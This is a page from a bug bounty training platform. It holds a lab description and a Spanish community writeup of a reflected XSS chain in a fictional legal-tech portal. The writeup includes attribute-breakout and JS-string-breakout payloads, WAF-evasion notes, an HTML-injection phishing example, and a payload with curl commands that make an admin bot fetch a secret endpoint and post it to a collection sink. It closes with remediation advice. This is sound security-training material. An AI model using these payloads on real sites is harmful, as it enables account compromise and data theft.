BBLABS v2BBLABSv2
>Home>Labs
>New labs

Latest 3 labs

Loading…

View all labs →
>Creators>Ranking
>Learn

Learn bug bounty

AcademyGuides, cheatsheets and glossaryVulnerabilitiesXSS, SQLi, IDOR, SSRF and moreHunter RoadmapYour step-by-step bug bounty pathBlogBug bounty guides and news
>Business>Pricing
ES
Log inLog in
>Home>Labs>New labs>Creators>Ranking>Learn>Business>Pricing
ES
Sign inCreate account
  1. Home
  2. Labs
  3. Reflected XSS en contexto de string JS + exfiltración vía bot revisor
Hard$30045 min

Contact

Practice, learn and hack

Bug bounty practice platform with labs based on real reports. Learn ethical hacking in safe environments.

contact→

Follow us

YouTube
@0xGorka
X
@gorkaelbochi
LinkedIn
gorka-el-bochi-morillo
Instagram
@_.gorkaaa.b
Email
team@bblabs.es

Access every lab from €7.99/mo

New labs every week. Cancel anytime.

Create account

BBLabs is the bug bounty labs platform where you learn bug bounty with real vulnerabilities extracted from paid reports on HackerOne, Bugcrowd and Intigriti. Here you practice web hacking —XSS, SQLi, IDOR, SSRF, CSRF and more— in downloadable environments, capture the flag, read the writeup and apply the technique on active bug bounty programs.

BBLabs is the alternative to HackTheBox, TryHackMe and PentesterLab for those who want to practice bug bounty with real reports instead of artificial CTFs. From €7.99/mo, no commitment.

→ Learn bug bounty from scratch→ How to do bug bounty step by step→ Real bug bounty reports→ BBLabs for companies and academiesLabsAcademyVulnerabilitiesToolsHunter rankingXSS labsIDOR labsSSRF labsCSRF labsHackTheBox alternativeHack4u alternativeTryHackMe alternativePortSwigger alternativePentesterLab alternativeBug Bounty Labs comparisonHackerOne to practiceOffSec / OSCP alternativeINE / eWPT alternativeHTB Academy alternativeDVWA alternativeJuice Shop alternativeVulnHub alternativePentesterAcademy alternativeRoot-Me alternativeHackTheBox vs TryHackMeBest bug bounty platforms 2026BlogSpoilersWhat is bug bounty?How much do you earn in bug bounty?OWASP Top 10 explainedBest sites to practice web hackingHow to become an ethical hacker from scratchBurp Suite tutorial (Spanish)OSCP guide and prepGoogle Dorks for bug bountyHow much an ethical hacker earns in SpainBug bounty tools 2026Best cybersecurity certifications 2026Burp Suite tutorialsqlmap tutorialffuf web fuzzingnuclei tutorialHTTP Request SmugglingWAF bypassPrompt injection (LLM)Google Dorks
Made withand code
TermsPrivacyComparisonES

© 2026 BBLABS v2 — All rights reserved

Reflected XSS en contexto de string JS + exfiltración vía bot revisor

By @gorka

Portal de Custodia, un SaaS legal-tech de gestión tutelar. Dos páginas legacy reflejan parámetros de URL sin escapar.

414 views4 completedUpdated Aug 2026
Log in to start

Learn to find this bug

This bug paid $300 on YesWeHack.

Create your account and practice real bugs that got paid. Download the environment, find it and learn the exact technique — your path to your first bounty.

hunters training
650

hunters training

labs from real reports
50

labs from real reports

completions
380

completions

in bounties practiced
$200,000

in bounties practiced

40 flags captured this week
Create account
I already have an account

Access to all labs · no commitment · cancel anytime

Hunters who solved it· 4

benjaminnocervigni1
@benjaminnocervigni7 days ago
flyingwhales2
@flyingwhales10 days ago
r4mattra3
@r4mattra11 days ago
w4tchw0lf
@w4tchw0lf18 days ago

Objectives

1
Identificar las dos páginas legacy del portal que reflejan parámetros de URL en su respuesta
2
Confirmar el intento de XSS en la Superficie A (`/procedure/submit`) mediante breakout de atributo
3
Descartar la Superficie A como camino a la flag
4
Encontrar la Superficie B (`/registry/criteres_v2`), que refleja seis parámetros dentro de literales de string
5
Armar un payload en la Superficie B que ejecute `fetch('/api/vault')` (endpoint admin-only)
6
Redactar la remediación de las dos capas: output encoding correcto por contexto

Information

Platform
YesWeHack
Difficulty
Hard
Duration
45 min
Bounty
$300
Completed
4
Creator
gorka@gorka
Collaborators

Achievement you'll earn

Solve this lab to unlock this shareable achievement

BBLABS.ESLab Solved
Hard$300
// achievement_unlocked

Reflected XSS en contexto de string JS + exfiltración vía bot revisor

XSS
Aug 2026
gorka
solved_by@gorkaMember since Mar 2026
bblabs.es// real bug bounty practice

Community writeups

Custodia es una plataforma legal-tech (SaaS) de gestión tutelar: da servicio a representantes legales —tutores, curadores y defensores judiciales designados por un juzgado— que administran los trámites de personas representadas (adultos vulnerables bajo una medida de apoyo). El portal permite (a) presentar procedimientos judiciales mediante un formulario que se pre-rellena con datos vía parámetros de URL —enlaces que el juzgado o la propia plataforma generan y comparten— y (b) consultar el registro de criterios de admisibilidad de expedientes en una página de búsqueda legacy.

El stack es Express 4.21 + TypeScript 5.7 + better-sqlite3 11.x + React 18 + Vite, con un bot Puppeteer-core in-process, todo en un único contenedor en el puerto 1700. El dashboard autenticado (login, personas representadas, trámites, cola de revisión, lectura del sink) es la SPA React; las dos páginas vulnerables se sirven fuera de la SPA, como HTML crudo con <script> inline, para reproducir con fidelidad la reflexión de parámetros de un portal legacy.

El fallo raíz es el mismo en dos sitios: output encoding roto (CWE-116). Lo interesante —y lo que hace este lab Hard— es la asimetría: un WAF degrada una de las superficies a solo phishing mientras la otra queda como full-XSS.

Capa 1 — DOM XSS en la Superficie A, neutralizada por el gateway (decoy honesto)

GET /procedure/submit (server/src/views/procedureSubmit.ts) sirve un formulario cuyo <script> inline lee doce parámetros p_* (p_case_ref, p_ward_name, p_ward_id, p_court, p_measure_type, p_representative, p_filing_date, p_hearing_date, p_amount, p_currency, p_reference_code, p_notes) de location.search y los inyecta en inputs ocultos vía jQuery .prepend('<input … value="' + val + '">'), sin escapar "/</>. Un breakout de atributo trivial (?p_case_ref="><img src=x onerror=…>) rompería el value=""… salvo que delante está el Custodia Edge Gateway (server/src/middleware/edgeGateway.ts, montado solo sobre /procedure/* en index.ts). El gateway inspecciona la query string cruda —y su forma decodificada— contra tres reglas: on\w+\s*=, <\s*script y javascript:. Cualquier coincidencia devuelve 403 — Request blocked by security gateway con cabecera X-Gateway: edge y ref EDGE-RULE-XSS.

Lo que el gateway no bloquea son los tags inertes (<details>, <summary>, <dialog>, <mark>…), enmarcados en el código como "compatibilidad con plantillas de accesibilidad". Eso deja pasar HTML injection: puedes inyectar un <details open><summary>IMPORTANTE: verifique su identidad</summary>…</details> y montar una superficie de phishing real. Pero ningún JavaScript se ejecuta ahí, así que la Superficie A no captura la flag (CWE-1021 + CWE-693). Un hunter puede quemar media hora intentando bypassear el WAF con mutaciones de event-handler (onbeforetoggle, onpointerrawupdate) o <svg>; el filtro está bien afinado y no cede. La salida no es romper A: es encontrar B.

Capa 2 — Reflected XSS en la Superficie B, contexto de string JS, sin WAF

GET /registry/criteres_v2 (server/src/views/criteresV2.ts) es la página hermana "legacy" (_v2, "migrada a medias"). Refleja seis parámetros —p_name, p_category, p_status, p_court, p_year, p_ref— dos veces. En los value="…" del formulario los pasa por escHtml() (contexto de atributo, seguro), pero en un <script> inline al final de la página los interpola crudos dentro de literales de string:

<script>
  var name = '<p_name>';
  var category = '<p_category>';
  var status = '<p_status>';
  …
</script>

Ahí no hay escape de la comilla simple. Un ?p_name=x';…// cierra el literal, inyecta JS arbitrario y comenta el resto. Esa doble reflexión —el mismo valor escapado en el atributo y crudo en el <script>— es exactamente el patrón que engaña: la página "parece" saneada porque el input del formulario se ve escapado. La regla del gateway no cubre /registry/*, y la CSP de esta página es la misma config legacy laxa que la de A: script-src 'self' cdn.custodia-static.test cdn.jqhost.test 'unsafe-inline' 'unsafe-eval', que permite inline y eval. Resultado: reflected XSS single-click con ejecución de JS, mismo root cause que A pero sin el filtro.

Capa 3 — Weaponización + exfil vía el bot revisor

La flag vive solo en GET /api/vault, que devuelve 403 a la sesión del jugador (role=user) y 200 únicamente a role=admin. La única sesión admin del sistema es la del revisor de solicitudes: un bot Puppeteer-core (server/src/bot/reviewBot.ts) que hace login como admin (password crypto.randomBytes(32) rotada por boot, que el jugador nunca conoce), hace polling de GET /api/review/tickets?status=new cada 8 s, y por cada ticket con un link valida que sea same-origin (localhost:1700, 127.0.0.1:1700, custodia:1700 — rechaza off-origin, jamás un SSRF abierto), setea la cookie custodia_session con su JWT admin y navega la URL con un dwell de 3 s.

La cadena: crafteas una URL de la Superficie B cuyo payload haga fetch('/api/vault') en el contexto del bot (autenticado como admin) y balice la respuesta a POST /collect?data=… (o GET /collect?data=… vía new Image().src). Encolas esa URL en POST /api/review/tickets (campo link). El bot la abre, el XSS corre en su sesión admin, el fetch devuelve la flag y la POSTea al sink same-origin. Tú la recuperas en GET /collect/log.

Cadena completa (cinco pasos)

  1. Login como attacker@custodia.test / password123. Descubres /procedure/submit y /registry/criteres_v2, ambas reflejando parámetros de URL sin escaparlos.
  2. DOM XSS en A → bloqueado por WAF. curl -i 'http://localhost:1700/procedure/submit?p_case_ref="><img src=x onerror=alert(1)>' → 403 con X-Gateway: edge. El breakout de atributo funciona a nivel de HTML, pero el gateway corta on\w+=/<script>.
  3. HTML injection en A (win parcial, NO es la flag). Un payload con tags inertes de la allowlist (?p_notes=<details open><summary>Verifique su identidad</summary>…</details>) pasa el gateway (200) y renderiza contenido de phishing. Ningún JS se ejecuta → descartas A.
  4. Reflected XSS en B. http://localhost:1700/registry/criteres_v2?p_name=x';alert(document.domain)// ejecuta JS. Confirmas que la comilla simple no se escapa en el <script> de la página (queda var name = 'x';alert(document.domain)//';).
  5. Exfil vía el bot. Crafteas la URL de B con el payload de exfil, la encolas para el revisor, esperas ~1-2 ciclos del bot y lees GET /collect/log → la flag.

Payload canónico (Superficie B)

http://localhost:1700/registry/criteres_v2?p_name=x';fetch('/api/vault').then(r=>r.text()).then(d=>{new Image().src='/collect?data='+encodeURIComponent(d)});//

Que, al abrirse en el contexto admin del bot, ejecuta:

var name = 'x';
fetch('/api/vault')
  .then(r => r.text())
  .then(d => { new Image().src = '/collect?data=' + encodeURIComponent(d); });
//';

Flujo manual con curl (autenticado como attacker):

# 1. login → token
TOKEN=$(curl -s -X POST http://localhost:1700/api/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"attacker@custodia.test","password":"password123"}' | jq -r .token)

# 2. encolar la URL de la Superficie B para el revisor (nota: la comilla y los
#    caracteres del payload deben ir URL-encoded dentro del valor de `link`)
curl -s -X POST http://localhost:1700/api/review/tickets \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"title":"Revisión de expediente","link":"http://localhost:1700/registry/criteres_v2?p_name=x%27;fetch(%27/api/vault%27).then(r=>r.text()).then(d=>{new%20Image().src=%27/collect?data=%27%2BencodeURIComponent(d)});//"}'

# 3. esperar 1-2 ciclos del bot (~8-16 s) y leer el sink
sleep 18
curl -s http://localhost:1700/collect/log -H "Authorization: Bearer $TOKEN" | jq

El PoC end-to-end automatizado vive en exploit.py; la verificación en tests/verify.py; el walkthrough interactivo (real-fetch + diagrama + terminal) en /writeup.

Por qué la flag exige la vulnerabilidad

/api/vault devuelve 403 a la sesión del jugador y 200 solo a role=admin. La única sesión admin es la del bot. La flag no está en el bundle cliente, ni en respuestas anónimas, ni en variables de entorno expuestas al navegador: solo se obtiene ejecutando JavaScript en el contexto del bot. La Superficie A es incapaz de hacerlo (el WAF corta todo el JS) → el camino a la flag es forzosamente la Superficie B.

Decoys

  • Superficie A completa (el WAF que "protege"): parece full-XSS por el breakout de atributo trivial, pero el gateway la degrada a HTML injection / phishing. Real pero insuficiente para la flag (CWE-693).
  • GET /registry/search: buscador parametrizado (LIKE ?) que ecoa el término solo dentro de un cuerpo JSON y lo renderiza en la SPA con auto-escaping de React. Parece la superficie inyectable obvia y es inerte.
  • GET /api/files/preview?path=: ecoa un path saneado (corta ../) en JSON, con Content-Type: application/json, nunca reflejado en HTML. Aparenta path traversal / reflected sink pero no lo es.

Remediación

  • Output encoding por contexto. El valor que va a un value="…" necesita escape de atributo HTML (escHtml, que la página ya aplica en el formulario); el mismo valor dentro de var x = '…' necesita escape de string JavaScript (o serializarlo con JSON.stringify server-side). Nunca interpolar input en un literal de string JS crudo.
  • No confiar en un WAF de firmas como control único. El gateway solo cubre /procedure/* y solo bloquea event-handlers/<script>; no salva de la Superficie B ni de contextos que no encajan en sus regex. Un WAF es defensa en profundidad, no el arreglo.
  • CSP restrictiva. Eliminar unsafe-inline y unsafe-eval; usar nonces/hashes para los scripts legítimos. Con una CSP correcta, el fetch inyectado no se ejecutaría.
  • Allowlist estricta del bot (ya es same-origin) y separación de la sesión admin del flujo de revisión — no navegar contenido controlado por el usuario con cookies privilegiadas.
  • Autorización server-side en cada endpoint sensible (ya la hay en /api/vault) y no exponer datos internos a sesiones que abran contenido arbitrario.
antoniorivera
@antoniorivera
Updated
Aug 2026

Download the environment

Reproduce it and find the bug yourself

Create account

Tools

NavegadorBurp Suite

Prerequisites

  • Conocimiento de Cross-Site Scripting
  • Familiaridad con la evasión
  • Concepto de "bot como URL-gadget same-origin"

Tags

XSS